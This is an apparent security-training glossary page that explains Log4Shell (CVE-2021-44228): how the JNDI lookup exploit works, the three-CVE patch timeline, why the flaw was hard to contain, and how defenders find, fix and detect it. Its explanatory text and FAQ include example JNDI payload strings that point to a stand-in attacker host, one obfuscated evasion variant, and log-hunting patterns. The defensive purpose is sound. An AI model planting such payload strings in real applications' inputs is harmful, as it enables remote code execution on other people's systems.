Glossary/Detection Engineering/Log4j Vulnerability

What Is the Log4j Vulnerability? Log4Shell Explained

The Log4j vulnerability (CVE-2021-44228, Log4Shell) is a critical remote code execution flaw in Apache Log4j 2 that runs attacker code from a string in a log message.

The exploit fit in a chat message. In December 2021, a player could rename a Minecraft item or type a string into a server chat box and run code on the host. The string was ${jndi:ldap://attacker.com/a}. When Apache Log4j logged that text, it reached out to the attacker's LDAP server, downloaded a Java class, and executed it. No authentication, no user interaction on the victim side, no memory-corruption gymnastics. Just a string in a log line.

That flaw is CVE-2021-44228, nicknamed Log4Shell. The U.S. National Vulnerability Database scored it 10.0, the maximum on the CVSS scale. It mattered because Log4j is not a niche tool: it is one of the most widely used Java logging libraries on earth, buried as a dependency inside thousands of products, from enterprise software to cloud services to home routers. Most organizations could not even answer the first question a defender asks: do we run this, and where. This guide covers what the Log4j vulnerability is, how the JNDI exploit actually works, the version-and-CVE timeline that confused everyone in December 2021, why it was so hard to contain, and what a defender does about it now.

What is the Log4j vulnerability?

The Log4j vulnerability, tracked as CVE-2021-44228 and nicknamed Log4Shell, is a remote code execution flaw in Apache Log4j 2, a Java logging library maintained by the Apache Software Foundation. An attacker who can get a malicious string into a log message can make the application fetch and run arbitrary Java code from a server the attacker controls. The result is full remote code execution on the host, with the privileges of the application doing the logging.

The official NVD description is precise about the mechanism. Log4j 2's JNDI features, used in configuration, log messages, and parameters, do not protect against attacker-controlled LDAP and other JNDI endpoints. When message lookup substitution is enabled, an attacker who controls log content can execute code loaded from a remote LDAP server. That last clause is the whole problem: applications log untrusted input constantly, a username, a User-Agent header, a search query, so the attacker rarely needs special access to plant the string.

Three properties made this the worst-case combination. It is unauthenticated: the attacker does not need a valid account. It is remote and low-complexity: a single crafted request triggers it, which is why the CVSS v3.1 base score is 10.0, Critical, with the vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. And it is ubiquitous: Log4j is a transitive dependency in a vast amount of Java software, so a flaw in one library became a flaw in thousands of products at once. Sound vulnerability management depends on knowing what you run, and Log4Shell exposed how few organizations actually did.

How the Log4Shell exploit works

Log4Shell exploit chain
One logged string to remote code execution
CVE-2021-44228: an attacker-controlled string in a log message makes the victim fetch and run a remote Java class.
1. PLANT
Inject the payload
Attacker puts ${jndi:ldap://attacker/x} into an input the app logs, such as a User-Agent header.
2. RESOLVE
Log4j runs the lookup
Message lookup substitution sees ${...} and triggers a JNDI lookup instead of logging it literally.
3. FETCH
JNDI calls out
JNDI contacts the attacker's LDAP server, which returns a reference pointing to a remote Java class.
4. EXECUTE
Code runs on the host
The victim JVM downloads and runs the class. The attacker now has code execution inside the application process.
Why it scored CVSS 10.0 No authentication, a single low-complexity request, and a library bundled inside thousands of products. The attacker spends one string; the defender has to find every place untrusted input is logged through a vulnerable Log4j version.

The exploit chains together a logging feature, a lookup feature, and a Java directory API. Each piece is mundane on its own. Together they hand an attacker a shell.

  • The attacker plants a string. The payload is a Log4j lookup expression, for example ${jndi:ldap://attacker-server/Exploit}. The attacker gets it into any input the application will log: an HTTP header like User-Agent or X-Forwarded-For, a form field, a chat message, a filename. No special access is required, just a request the target logs.
  • Log4j evaluates the lookup. When Log4j processes the log message, message lookup substitution sees the ${...} syntax and resolves it instead of writing it literally. The jndi: prefix tells Log4j to perform a Java Naming and Directory Interface (JNDI) lookup against the attacker's URL.
  • JNDI contacts the attacker's server. JNDI reaches out to the attacker-controlled LDAP (or RMI or DNS) endpoint named in the string. The malicious server responds with a reference pointing to a remote Java class.
  • The victim loads and runs the class. The vulnerable JNDI/LDAP handling causes the victim JVM to download that Java class and execute it. The attacker's code now runs inside the application process, with its permissions. From there: data theft, ransomware staging, persistence, or lateral movement deeper into the network.

The reason this was so dangerous is the asymmetry. The attacker's effort is one string in one request. The defender's burden is finding every place across an entire estate where Java code logs untrusted input through a vulnerable Log4j version, which during the first weeks of December 2021 was very nearly everywhere.

The version and CVE timeline

The hardest part of the response was not the first patch. It was that the first patch was incomplete, and then the second fix introduced a new problem, so "are we patched?" had a moving answer for two weeks. Three separate CVEs landed in nine days.

The vulnerability was reported to Apache by Chen Zhaojun of the Alibaba Cloud Security Team and disclosed publicly on December 9, 2021, with the NVD record published December 10. Affected versions run from Log4j 2.0-beta9 through 2.14.1. The crucial detail for remediation is that you cannot just "patch Log4j," you have to land on a version that fixes the specific CVE you care about.

CVEDisclosedIssueFixed in
CVE-2021-44228 (Log4Shell)Dec 9, 2021JNDI remote code execution, CVSS 10.02.15.0 (mitigated by default)
CVE-2021-45046Dec 14, 2021Incomplete fix in 2.15.0 in some non-default configs, RCE2.16.0
CVE-2021-45105Dec 18, 2021Uncontrolled recursion in lookups, denial of service2.17.0

Version 2.15.0 mitigated Log4Shell by default, but CVE-2021-45046 showed the fix was incomplete in certain non-default configurations, pushing the recommended target to 2.16.0, which removed the JNDI lookup behavior entirely. Then CVE-2021-45105 revealed a separate denial-of-service flaw in lookup handling, fixed in 2.17.0. For teams still on older Java runtimes, Apache backported fixes to the 2.12.x and 2.3.x branches (2.12.2, 2.12.3, 2.3.1). The practical guidance that settled out: get to 2.17.0 or later for Java 8+, and use the appropriate backported branch release if you are stuck on Java 7.

On December 17, 2021, CISA issued Emergency Directive 22-02, ordering federal civilian agencies to mitigate the Log4j vulnerabilities on a tight deadline. CVE-2021-44228 was added to CISA's Known Exploited Vulnerabilities catalog because it was being exploited in the wild almost immediately after disclosure.

Why Log4Shell was so hard to contain

A CVSS 10.0 flaw is bad. A CVSS 10.0 flaw in a dependency you did not know you had is a different kind of problem. Log4Shell was the second kind.

The core difficulty was visibility. Log4j is rarely something an organization installs directly. It arrives bundled inside other Java applications, packaged into JAR files, sometimes nested several dependencies deep, sometimes repackaged inside a vendor product the customer cannot inspect. Asking "do we run Log4j" returned "we do not know" for most teams, because the library was a transitive dependency hidden under software they did run. This is the defining trait of a software supply chain attack surface: the weak component is upstream of you, embedded in things you trust.

Several factors compounded it:

  • Scale of the attack surface. Internet-facing web apps, internal services, appliances, and cloud workloads all potentially logged untrusted input through Log4j. The exposed footprint was enormous and largely unmapped.
  • Trivial weaponization. Working exploit strings and scanners spread within hours. Mass scanning for the JNDI string started almost immediately, so the window between disclosure and exploitation attempts was effectively zero.
  • The moving patch target. Because 2.15.0 was incomplete and 2.17.0 was the durable answer, teams that patched once early often had to patch again, and inventory had to be re-run each time.
  • Vendor dependency. When Log4j was buried inside a third-party product, customers could not fix it themselves. They had to wait for the vendor's patched build, then deploy it, extending exposure for weeks.
  • Mitigations with caveats. Stopgaps like removing the JndiLookup class from the classpath or setting log4j2.formatMsgNoLookups=true helped, but the environment-variable mitigation was unreliable in some versions, so removal or upgrading was the dependable path.

The lesson defenders took from it was blunt: you cannot patch what you cannot see, and an asset inventory that stops at "applications we installed" misses the dependencies those applications carry.

How defenders respond to Log4j today

Log4Shell is no longer a zero-day, but it has not gone away. Unpatched and forgotten instances still sit inside old appliances and legacy Java apps, and CVE-2021-44228 remains a routinely scanned-for target. The response has two halves: fix the known instances, and build the capability to find the next dependency flaw faster.

Find it. Run authenticated vulnerability scanning that detects vulnerable Log4j versions, not just network checks, since the library is internal to applications. Use file-system and JAR inspection tools to locate log4j-core JARs, including ones nested inside other archives. A software bill of materials (SBOM) for your applications turns "we do not know if we run Log4j" into a lookup, which is precisely the capability most teams lacked in December 2021.

Fix it. Upgrade Log4j to 2.17.0 or later (or the correct backported branch release for older Java). Where an immediate upgrade is impossible, apply the dependable mitigation of removing the JndiLookup class from the classpath, and prioritize internet-facing systems first. For software you do not control, track the vendor's advisory and deploy their patched release when it ships.

Detect exploitation. Hunt for the JNDI pattern in logs: ${jndi:ldap://, ${jndi:rmi://, ${jndi:dns://, including the obfuscated variants attackers use to evade naive filters, such as ${${lower:j}ndi:...}. Watch for outbound LDAP, RMI, and DNS connections from servers that have no business making them, since a successful exploit forces the victim to call out to the attacker's infrastructure. Those outbound callbacks and the JNDI strings themselves are strong indicators of compromise.

The strategic takeaway outlasts this one CVE. Log4Shell was a preview of dependency risk at scale: a flaw in a single open-source component that propagated into thousands of products through the software supply chain. The defenders who handled it best were the ones with an accurate asset and dependency inventory before the advisory dropped, because remediation speed is gated entirely by how fast you can answer "where do we run this."

Frequently Asked Questions

What is the Log4j vulnerability?

The Log4j vulnerability, CVE-2021-44228 or Log4Shell, is a critical remote code execution flaw in the Apache Log4j 2 Java logging library. An attacker who gets a malicious string into a log message can make the application fetch and run code from a server they control, taking over the host. It was scored 10.0 out of 10 on the CVSS scale.

What does Log4Shell mean and how is it different from Log4j?

Log4j is the name of the logging library. Log4Shell is the nickname for the specific vulnerability, CVE-2021-44228, found in it. The "Shell" refers to the remote code execution it enables, which can give an attacker shell-level control of the affected system.

How does the Log4Shell exploit work?

An attacker submits a string like ${jndi:ldap://attacker-server/payload} into any input the application logs. When Log4j processes the log entry, its message lookup feature performs a JNDI lookup to the attacker's server, which returns a malicious Java class. The vulnerable JVM downloads and executes that class, running the attacker's code inside the application.

Which Log4j versions are affected and how do I fix it?

Apache Log4j 2 versions 2.0-beta9 through 2.14.1 are vulnerable to CVE-2021-44228. Version 2.15.0 was an incomplete fix and 2.16.0 removed the lookup behavior, but the recommended target is 2.17.0 or later, which also fixes the later CVE-2021-45105 denial-of-service flaw. Teams on older Java runtimes should use the backported 2.12.x or 2.3.x branch releases.

Is Log4Shell still a threat in 2026?

Yes, for unpatched systems. Most maintained software was updated long ago, but vulnerable Log4j versions still hide inside legacy applications, appliances, and forgotten services. CVE-2021-44228 remains in CISA's Known Exploited Vulnerabilities catalog and is still actively scanned for, so any unpatched, reachable instance is exploitable.

How can I tell if I am running a vulnerable version of Log4j?

Run authenticated vulnerability scans rather than network-only checks, since Log4j is internal to applications. Inspect the file system and JAR archives for log4j-core, including JARs nested inside other archives, and consult a software bill of materials if you maintain one. For software you did not build, check the vendor's advisory to learn whether their product bundled an affected version.

The bottom line

The Log4j vulnerability, CVE-2021-44228 or Log4Shell, is a critical remote code execution flaw in Apache Log4j 2 that lets an attacker run code on a host simply by getting a crafted string into a log message. It scored a perfect 10.0 on CVSS because it is unauthenticated, low-complexity, and present in an enormously popular library.

The exploit abuses Log4j's JNDI message-lookup feature: a ${jndi:ldap://...} string triggers the victim to fetch and execute a remote Java class. The fix moved over nine days through three CVEs, settling on Log4j 2.17.0 or later as the durable answer. What made it historic was not the bug itself but its reach, a single open-source dependency embedded in thousands of products, which turned a one-line exploit into a global emergency. The lasting lesson for defenders is that you cannot patch what you cannot see, and an asset inventory that ignores dependencies will fail you on the next Log4Shell.

Frequently asked questions

What is the Log4j vulnerability?

<p>The Log4j vulnerability, CVE-2021-44228 or Log4Shell, is a critical remote code execution flaw in the Apache Log4j 2 Java logging library. An attacker who gets a malicious string into a log message can make the application fetch and run code from a server they control, taking over the host. It was scored 10.0 out of 10 on the CVSS scale.</p>

What does Log4Shell mean and how is it different from Log4j?

<p>Log4j is the name of the logging library. Log4Shell is the nickname for the specific vulnerability, CVE-2021-44228, found in it. The "Shell" refers to the remote code execution it enables, which can give an attacker shell-level control of the affected system.</p>

How does the Log4Shell exploit work?

<p>An attacker submits a string like <code>${jndi:ldap://attacker-server/payload}</code> into any input the application logs. When Log4j processes the log entry, its message lookup feature performs a JNDI lookup to the attacker's server, which returns a malicious Java class. The vulnerable JVM downloads and executes that class, running the attacker's code inside the application.</p>

Which Log4j versions are affected and how do I fix it?

<p>Apache Log4j 2 versions 2.0-beta9 through 2.14.1 are vulnerable to CVE-2021-44228. Version 2.15.0 was an incomplete fix and 2.16.0 removed the lookup behavior, but the recommended target is 2.17.0 or later, which also fixes the later CVE-2021-45105 denial-of-service flaw. Teams on older Java runtimes should use the backported 2.12.x or 2.3.x branch releases.</p>

Is Log4Shell still a threat in 2026?

<p>Yes, for unpatched systems. Most maintained software was updated long ago, but vulnerable Log4j versions still hide inside legacy applications, appliances, and forgotten services. CVE-2021-44228 remains in CISA's Known Exploited Vulnerabilities catalog and is still actively scanned for, so any unpatched, reachable instance is exploitable.</p>

How can I tell if I am running a vulnerable version of Log4j?

<p>Run authenticated vulnerability scans rather than network-only checks, since Log4j is internal to applications. Inspect the file system and JAR archives for <code>log4j-core</code>, including JARs nested inside other archives, and consult a software bill of materials if you maintain one. For software you did not build, check the vendor's advisory to learn whether their product bundled an affected version.</p>

Practice track
SOC Analyst Tier 1
Build your foundational skills to monitor, detect, and escalate security alerts. This track includes essential tools, basic log analysis, and introductory incident response labs.
Browse SOC Analyst Tier 1 Labs โ†’